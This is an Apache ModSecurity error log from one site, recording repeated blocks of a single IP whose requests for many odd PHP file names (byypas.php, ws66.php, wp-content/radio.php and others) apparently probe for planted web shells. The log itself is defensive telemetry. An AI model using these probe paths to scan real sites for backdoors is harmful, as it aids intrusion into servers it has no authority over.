[Sat Apr 25 09:57:10.551504 2026] [:error] [pid 46083:tid 46112] [client 51.107.77.218:63628] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aewfdjxw_Zq74vWdjmmTvwAAARg"]
[Sat Apr 25 09:57:11.425576 2026] [:error] [pid 44319:tid 44331] [client 51.107.77.218:5378] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aewfd8zJPAVLUb2pWtJ0NAAAAAI"]
[Sat Apr 25 09:57:12.178523 2026] [:error] [pid 44425:tid 44450] [client 51.107.77.218:65189] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aewfeCUl-VlItvY2tR9ODgAAANc"]
[Sat Apr 25 09:57:12.877185 2026] [:error] [pid 46083:tid 46111] [client 51.107.77.218:5604] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aewfeDxw_Zq74vWdjmmTxAAAARc"]
[Sat Apr 25 09:57:13.369815 2026] [:error] [pid 44321:tid 44400] [client 51.107.77.218:5594] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "aewfeY1b5lV-asWa_Y5bXAAAAJE"]
[Sat Apr 25 09:57:13.985841 2026] [:error] [pid 44425:tid 44451] [client 51.107.77.218:64205] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "aewfeSUl-VlItvY2tR9OEAAAANg"]
[Sat Apr 25 09:57:14.560154 2026] [:error] [pid 44320:tid 44367] [client 51.107.77.218:64215] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "aewfejmFqSpku_dij8ibNQAAAEs"]
[Sat Apr 25 09:57:15.150133 2026] [:error] [pid 44320:tid 44373] [client 51.107.77.218:47492] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "aewfezmFqSpku_dij8ibPAAAAFE"]
[Sat Apr 25 09:57:15.699225 2026] [:error] [pid 44425:tid 44433] [client 51.107.77.218:64735] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bmi.php"] [unique_id "aewfeyUl-VlItvY2tR9OEQAAAMY"]
[Sat Apr 25 09:57:16.341424 2026] [:error] [pid 44319:tid 44332] [client 51.107.77.218:64239] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bmi.php"] [unique_id "aewffMzJPAVLUb2pWtJ0OAAAAAM"]
[Sat Apr 25 09:57:16.887056 2026] [:error] [pid 44425:tid 44443] [client 51.107.77.218:5408] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bmi.php"] [unique_id "aewffCUl-VlItvY2tR9OEwAAANA"]
[Sat Apr 25 09:57:17.510440 2026] [:error] [pid 46083:tid 46111] [client 51.107.77.218:5433] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bmi.php"] [unique_id "aewffTxw_Zq74vWdjmmTyQAAARc"]
[Sat Apr 25 09:57:18.087797 2026] [:error] [pid 44321:tid 44390] [client 51.107.77.218:65155] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aewffo1b5lV-asWa_Y5bYwAAAIc"]
[Sat Apr 25 09:57:18.746028 2026] [:error] [pid 46083:tid 46101] [client 51.107.77.218:5397] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aewffjxw_Zq74vWdjmmTzAAAAQ4"]
[Sat Apr 25 09:57:19.339524 2026] [:error] [pid 46083:tid 46095] [client 51.107.77.218:5418] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aewffzxw_Zq74vWdjmmTzgAAAQg"]
[Sat Apr 25 09:57:20.059696 2026] [:error] [pid 44321:tid 44400] [client 51.107.77.218:5471] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aewfgI1b5lV-asWa_Y5baAAAAJE"]
[Sat Apr 25 09:57:20.825542 2026] [:error] [pid 44425:tid 44451] [client 51.107.77.218:5626] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aewfgCUl-VlItvY2tR9OHAAAANg"]
[Sat Apr 25 09:57:21.443566 2026] [:error] [pid 44425:tid 44434] [client 51.107.77.218:63673] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aewfgSUl-VlItvY2tR9OHwAAAMc"]
[Sat Apr 25 09:57:22.067125 2026] [:error] [pid 44425:tid 44441] [client 51.107.77.218:5477] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aewfgiUl-VlItvY2tR9OIgAAAM4"]
[Sat Apr 25 09:57:22.676407 2026] [:error] [pid 44321:tid 44388] [client 51.107.77.218:5578] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aewfgo1b5lV-asWa_Y5bbAAAAIU"]
[Sat Apr 25 09:57:23.610479 2026] [:error] [pid 44321:tid 44403] [client 51.107.77.218:5457] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-png.php"] [unique_id "aewfg41b5lV-asWa_Y5bbwAAAJQ"]
[Sat Apr 25 09:57:38.634803 2026] [:error] [pid 46083:tid 46108] [client 51.107.77.218:5617] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aewfkjxw_Zq74vWdjmmT6QAAARQ"]
[Sat Apr 25 09:57:39.404747 2026] [:error] [pid 46083:tid 46095] [client 51.107.77.218:63632] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aewfkzxw_Zq74vWdjmmT7AAAAQg"]
[Sat Apr 25 09:57:40.124319 2026] [:error] [pid 44320:tid 44356] [client 51.107.77.218:5390] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aewflDmFqSpku_dij8ibWQAAAEA"]
[Sat Apr 25 09:57:40.741156 2026] [:error] [pid 44425:tid 44442] [client 51.107.77.218:65195] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aewflCUl-VlItvY2tR9OMgAAAM8"]
[Sat Apr 25 09:57:41.366300 2026] [:error] [pid 44425:tid 44432] [client 51.107.77.218:65164] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugin-install.php"] [unique_id "aewflSUl-VlItvY2tR9ONQAAAMU"]
[Sat Apr 25 09:57:41.973673 2026] [:error] [pid 46083:tid 46090] [client 51.107.77.218:5405] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugin-install.php"] [unique_id "aewflTxw_Zq74vWdjmmT8AAAAQM"]
[Sat Apr 25 09:57:42.542189 2026] [:error] [pid 46083:tid 46107] [client 51.107.77.218:5412] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugin-install.php"] [unique_id "aewfljxw_Zq74vWdjmmT8gAAARM"]
[Sat Apr 25 09:57:43.099390 2026] [:error] [pid 44321:tid 44386] [client 51.107.77.218:63648] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugin-install.php"] [unique_id "aewfl41b5lV-asWa_Y5bfAAAAIM"]
[Sat Apr 25 09:57:43.598176 2026] [:error] [pid 44425:tid 44449] [client 51.107.77.218:64202] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aewflyUl-VlItvY2tR9OOAAAANY"]
[Sat Apr 25 09:57:44.565913 2026] [:error] [pid 44425:tid 44451] [client 51.107.77.218:5399] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aewfmCUl-VlItvY2tR9OOwAAANg"]
[Sat Apr 25 09:57:45.460323 2026] [:error] [pid 44321:tid 44405] [client 51.107.77.218:65199] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aewfmY1b5lV-asWa_Y5bfwAAAJY"]
[Sat Apr 25 09:57:46.042383 2026] [:error] [pid 44319:tid 44337] [client 51.107.77.218:63625] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aewfmszJPAVLUb2pWtJ0UwAAAAg"]
[Sat Apr 25 09:57:46.748752 2026] [:error] [pid 46083:tid 46089] [client 51.107.77.218:63631] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aewfmjxw_Zq74vWdjmmT-QAAAQI"]
[Sat Apr 25 09:57:58.002527 2026] [:error] [pid 44425:tid 44441] [client 51.107.77.218:61222] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aewfpiUl-VlItvY2tR9OTQAAAM4"]
[Sat Apr 25 09:57:59.359358 2026] [:error] [pid 44321:tid 44395] [client 51.107.77.218:5607] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aewfp41b5lV-asWa_Y5bogAAAIw"]
[Sat Apr 25 09:58:00.295362 2026] [:error] [pid 44320:tid 44376] [client 51.107.77.218:5460] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aewfqDmFqSpku_dij8ibcQAAAFQ"]
[Sat Apr 25 09:58:02.201433 2026] [:error] [pid 46083:tid 46092] [client 51.107.77.218:5421] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws66.php"] [unique_id "aewfqjxw_Zq74vWdjmmUIAAAAQU"]
[Sat Apr 25 09:58:04.909228 2026] [:error] [pid 46083:tid 46102] [client 51.107.77.218:5432] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aewfrDxw_Zq74vWdjmmULgAAAQ8"]
[Sat Apr 25 09:58:06.901977 2026] [:error] [pid 46083:tid 46097] [client 51.107.77.218:5611] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aewfrjxw_Zq74vWdjmmUNAAAAQo"]
[Sat Apr 25 09:58:07.966742 2026] [:error] [pid 44321:tid 44401] [client 51.107.77.218:5568] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aewfr41b5lV-asWa_Y5btAAAAJI"]
[Sat Apr 25 09:58:08.618691 2026] [:error] [pid 44319:tid 44338] [client 51.107.77.218:5586] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file61.php"] [unique_id "aewfsMzJPAVLUb2pWtJ0WAAAAAk"]
[Sat Apr 25 09:58:09.544524 2026] [:error] [pid 46083:tid 46097] [client 51.107.77.218:64643] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aewfsTxw_Zq74vWdjmmUOAAAAQo"]
[Sat Apr 25 09:58:10.139485 2026] [:error] [pid 46083:tid 46101] [client 51.107.77.218:65194] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aewfsjxw_Zq74vWdjmmUOQAAAQ4"]
[Sat Apr 25 09:58:10.943676 2026] [:error] [pid 44425:tid 44432] [client 51.107.77.218:65168] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aewfsiUl-VlItvY2tR9OXQAAAMU"]
[Sat Apr 25 09:58:11.813307 2026] [:error] [pid 46083:tid 46094] [client 51.107.77.218:5420] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asd.php"] [unique_id "aewfszxw_Zq74vWdjmmUPAAAAQc"]
[Sat Apr 25 09:58:12.462218 2026] [:error] [pid 44320:tid 44364] [client 51.107.77.218:5610] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aewftDmFqSpku_dij8ibdwAAAEg"]
[Sat Apr 25 09:58:13.345414 2026] [:error] [pid 44320:tid 44367] [client 51.107.77.218:65198] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aewftTmFqSpku_dij8ibegAAAEs"]
[Sat Apr 25 09:58:14.080179 2026] [:error] [pid 44321:tid 44404] [client 51.107.77.218:61227] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aewfto1b5lV-asWa_Y5bwAAAAJU"]
[Sat Apr 25 09:58:14.842878 2026] [:error] [pid 46083:tid 46102] [client 51.107.77.218:63645] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aewftjxw_Zq74vWdjmmUPwAAAQ8"]
[Sat Apr 25 09:58:15.733739 2026] [:error] [pid 44425:tid 44448] [client 51.107.77.218:64143] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aewftyUl-VlItvY2tR9OYQAAANU"]
[Sat Apr 25 09:58:16.464997 2026] [:error] [pid 46083:tid 46095] [client 51.107.77.218:5630] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aewfuDxw_Zq74vWdjmmURgAAAQg"]
[Sat Apr 25 09:58:17.007281 2026] [:error] [pid 44425:tid 44432] [client 51.107.77.218:5386] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aewfuSUl-VlItvY2tR9OZAAAAMU"]
[Sat Apr 25 09:58:17.692737 2026] [:error] [pid 46083:tid 46102] [client 51.107.77.218:65153] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "aewfuTxw_Zq74vWdjmmUSwAAAQ8"]
[Sat Apr 25 09:58:18.642148 2026] [:error] [pid 44320:tid 44378] [client 51.107.77.218:5377] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aewfujmFqSpku_dij8ibgQAAAFY"]
[Sat Apr 25 09:58:19.516463 2026] [:error] [pid 46083:tid 46110] [client 51.107.77.218:5629] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aewfuzxw_Zq74vWdjmmUWQAAARY"]
